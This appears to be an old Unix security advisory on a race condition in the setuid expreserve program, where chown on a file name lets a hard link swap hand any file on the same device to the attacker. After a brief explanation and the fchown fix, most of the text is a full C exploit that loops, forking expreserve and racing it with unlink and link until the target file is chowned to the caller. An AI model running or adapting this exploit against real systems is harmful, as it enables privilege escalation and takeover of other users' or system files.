COMMAND
expreserve(1)
SYSTEMS AFFECTED
This bug exists in all expreserves up to BSD 4.3. (well not quite
). On all System V and earlier releases this works. Under System
V expreserve places the Ex temp files in the directory
/usr/preserve/$LOGNAME and under Berkeley releses it places them
under either /usr/preserve or /var/preserve (SunOS 4.X among
others).
PROBLEM
A rather barbaric race condition in expreserve that allows
the setuid program to be compromised by changing the
permissions of a file. This "feature" will allow security to
be breached on all standard Systems Vs and all Berkeley-ish
systems that have the /usr/preserve directory writable by
the user (Note: SunOS was this directory unwritable by
default). The System V bug was relatively unavoidable
(though the addition of the "S" bit to directories in SVR3.2
could close the hole) until SVR4 but the Berkeley bug should
have been fixed as soon as the fchown(2) system call was
added to BSD. Basically the "hole" is that expreserve does:
fd = creat("/usr/preserve/Exaaa$PID", 0600);
chown("/usr/preserve/Exaaa$PID", real_uid, real_gid);
when it should do a:
fd = creat("/usr/preserve/Exaaa$PID", 0600);
fchown(fd, real_uid, real_gid);
which avoids the race (it changes the permission on the
inode that was creat(2)ed and not the inode whose name is
/usr/preserve/Exaaa$PID). The previous examples are actually
simplified as expreserve actually looks at the uid and gid
as stored in the /tmp/Ex$PID file and compares them to the
getuid() and getgid() return values. The actual race is that
a context switch may occur between the creat(2) and chown(2)
in expreserve that allows another process with write
permission to the target directory to unlink(2) the
creat(2)ed file and place a hard link to another file by
that name in the target directory, which expreserve
subsequentialies chown(2)s to your uid. This "feature"
allows any file on the same device to be chown(2)ed to you.
Though you may see support for symbolic links, on the version of
UNIX that this has been tested on, this will only change
permissions on the symlink. You may find this confusing as ELOOP
is an alleged failure condition for chown(2) implying that a
symbolic link resolution. Exploit follows:
/*
* This program takes advantage of a race condition in most version of
* /usr/lib/expreserve. Expreserve create(2)s a file as root in
* either /usr/preserve or /usr/preserve/$USER and then chmod(2)s the
* file. The Berkeley 4.3 version contains this bug as does earlier
* versions of expreserve. BSD could safely fchmod(2) the file
* avoiding the race but DOES NOT. System V implementation fchmod(2)
* until SVR4.0 and this bug still existed in the beta release I saw.
*/
/* NOTE: This will only work if the target directory is writeable by
* the user
*/
#include <stdio.h>
#include <errno.h>
#include <fcntl.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <pwd.h>
#include <signal.h>
#define TRUE 1
#define FALSE 0
/* SUNOS 4.0 and SVR4 use "/var/preserve" */
#ifndef PRESERVE_DIRECTORY
#define PRESERVE_DIRECTORY "/usr/preserve"
#endif
#ifndef MAIL_DIRECTORY
#define MAIL_DIRECTORY "/usr/mail"
#endif
#ifndef EXPRESERVE
#define EXPRESERVE "/usr/lib/expreserve"
#endif
#ifdef SYM_LINKS
extern int symlink();
#endif
extern int errno, link();
extern char *gets();
int (*LinkFunc)();
struct stat st_target, st_exfile, st_spoof;
struct passwd *pw;
/* gppid = grand parent pid, ppid = parent pid, cpid = child pid */
int ret, fd_exfile, n, gppid, ppid, cpid, i, childDied, myuid;
char *Prog, buf[BUFSIZ], *target, *exfile, *preserve_dir, *spoof, *mailfile,
*strdup(), *GetBaseName();
void CheckIt(), ChildDied();
int main(argc, argv)
int argc;
char *argv[];
{
void GetTarget();
int GetExfile();
umask(0);
signal(SIGHUP, SIG_DFL);
gppid = getpid();
myuid = geteuid();
printf("pid of top level parent = %d\n", gppid);
Prog = *argv;
preserve_dir = PRESERVE_DIRECTORY;
close(GetExfile());
printf("Perserve directory = %s\n", preserve_dir);
/* get who you are */
if ((pw = getpwuid(getuid())) == (struct passwd *) 0) {
fprintf(stderr, "%s: can't find your passwd entry\n", Prog);
exit(1);
}
GetTarget();
if (stat(PRESERVE_DIRECTORY, &st_exfile)) {
perror("stat");
fprintf(stderr, "%s: Can't stat %s\n", Prog,
PRESERVE_DIRECTORY);
exit(1);
}
/*
* Determine if we are going to use a symlink(2) or link(2) system
* call or if this is a cross device link and we don't have symlink().
*/
if (st_target.st_dev != st_exfile.st_dev) {
#ifndef SYM_LINKS
fprintf(stderr,
"%s: target %s and directory %s on different %s\n",
Prog, target, PRESERVE_DIRECTORY, "file systems");
fprintf(stderr, "%s: Cross device links not supported\n");
exit(1);
#else
LinkFunc = symlink;
printf("using symlink\n");
#endif
}
else { /* else we are on same device */
LinkFunc = link;
printf("using link\n");
}
fflush(stdout);
gets(buf);
#ifdef TRUNCATE_MAIL_FILE
/* this is here because you might get alot of mail messages */
sprintf(buf, "%s/%s", MAIL_DIRECTORY, pw->pw_name);
mailfile = strdup(buf);
#endif
/* the guts start here */
for (i = 1; ; i++ ) {
switch (ppid = fork()) { /* begin Level I switch */
case 0: /* tries to spoof EXPRESERVE */
ppid = getpid();
CREATE_SECOND_CHILD:
switch (cpid = fork()) { /* begin Level II switch */
case 0: /* we actually exec EXPRESERVE in the grand
child of the parent process */
cpid = getpid();
signal(SIGHUP, SIG_IGN);
close(0);
GetExfile();
sleep(2); /* give time to parent to get ready *
/
nice(5); /* run at lower priority */
execl(EXPRESERVE, GetBaseName(EXPRESERVE),
(char *) 0);
perror("exec");
fprintf(stderr, "DYING\007\007\n");
fflush(stdout);
kill(ppid, SIGHUP);
kill(gppid, SIGHUP);
exit(1);
break;
case -1:
goto CREATE_SECOND_CHILD;
default: /* first forked process */
#ifdef NO_USER_SUBDIRECTORY
sprintf(buf, "Exaaa%05d", cpid);
#else
sprintf(buf, "%s/Exaaa%05d", pw->pw_name, cpid)
;
#endif
spoof = strdup(buf);
sprintf(buf, "/tmp/Ex%05d", cpid);
exfile = strdup(buf);
childDied = 0;
#ifdef SYSV
sigset(SIGCHLD, ChildDied);
#else
signal(SIGCHLD, ChildDied);
#endif
while (chdir(preserve_dir)) ;
while (unlink(spoof)) ;
if (((LinkFunc)(target, spoof)) == 0) {
#ifdef SYSV
sighold(SIGCHLD);
#else
sigblock(sigmask(SIGCHLD));
#endif
CheckIt();
#ifdef SYSV
sigrelse(SIGCHLD);
while (childDied == 0)
;
#else
while (childDied == 0)
sigpause(0);
#endif
}
printf("iteration %d failed\n", i);
if (unlink(spoof)) {
printf("unlink of spoof %s failed\n",
spoof);
}
if (unlink(exfile)) {
printf("unlink of exfile %s failed\n",
exfile);
}
if (childDied == 0)
wait((int *) 0);
exit(0);
break;
} /* End Level II switch */
break;
case -1:
continue;
default: /* grand parent */
while ((cpid = wait((int *) 0)) != ppid)
;
#ifdef TRUNCATE_MAIL_FILE
close(open(mailfile, O_TRUNC | O_CREAT | O_RDWR, 0600))
;
#endif
} /* end Level I switch */
} /* end forever loop */
}
void GetTarget()
{
char tbuf[BUFSIZ];
for ( ; ; ) {
printf("enter full pathname of target file: ");
gets(buf);
if (stat(buf, &st_target) == 0) {
target = strdup(buf);
return;
}
perror("stat");
}
}
int GetExfile()
{
extern char *malloc();
char tbuf[BUFSIZ];
int fd;
struct stat s;
static int beenHere, glen;
static char *garbage;
/* first loop current directory is still dot */
if (!beenHere) {
if (stat("data", &s)) {
fprintf(stderr, "%s: can't stat 'data'\n", Prog);
exit(0);
}
if (s.st_size < 1) {
fprintf(stderr, "%s: too small\n", Prog);
exit(1);
}
glen = s.st_size;
if ((garbage = malloc(glen)) == (char *) 0) {
fprintf(stderr, "%s: malloc of %d bytes failed\n",
Prog, glen);
exit(1);
}
if ((fd = open("data", O_RDONLY)) < 0) {
perror("open");
fprintf(stderr, "%s: failed to open 'data'\n");
exit(1);
}
read(fd, garbage, glen);
close(fd);
beenHere++;
return 20;
}
sprintf(tbuf, "/tmp/Ex%05d", cpid);
exfile = strdup(tbuf);
if ((fd = open(tbuf, O_CREAT | O_RDWR, 0600)) < 0) {
perror("create");
fprintf(stderr, "%s: failed to create %s\n", Prog, tbuf);
exit(1);
}
write(fd, garbage, glen);
sync();
lseek(fd, 0L, 0);
return fd;
}
char *GetBaseName(prog)
char *prog;
{
/*extern int strlen();*/
register int i, first_char;
register char *s1;
s1 = prog;
/* trim things like "~/bin/mail//" which are legal to namei */
for (i = strlen(prog) - 1; i; --i)
if (*(s1+i) == '/') {
*(s1+i) = '\0';
}
else
break;
/* find first char after last '/' */
for (i = first_char = 0; *(s1+i); i++)
if (*(s1+i) == '/')
first_char = i + 1;
return s1 + first_char;
}
#ifdef NOSTRDUP /* my old old version of HP/UX does not have strdup */
char *strdup(s1)
char *s1;
{
extern char *malloc(), *strcpy();
extern int strlen();
char *new;
if ((new = malloc(strlen(s1)+1)) == (char *) 0)
return (char *) 0;
return strcpy(new, s1);
}
#endif
void
CheckIt()
{
sleep(2); /* give expreserve a time slice to chown(2) the file */
if ((stat(spoof, &st_spoof) == 0) && (stat(target, &st_target) == 0)) {
if ((st_spoof.st_uid == myuid) && (st_target.st_uid == myuid))
{
printf("successful at iteration %d\007\007\007\n", i);
printf("file is %s\n", spoof);
fflush(stdout);
kill(gppid, SIGHUP);
exit(0);
}
}
printf("CheckIt failed\n");
fflush(stdout);
}
void
ChildDied(sig)
int sig;
{
childDied++;
printf("EXPRESERVE done\n");
fflush(stdout);
unlink(exfile);
unlink(spoof);
wait((int *) 0);
exit(1);
}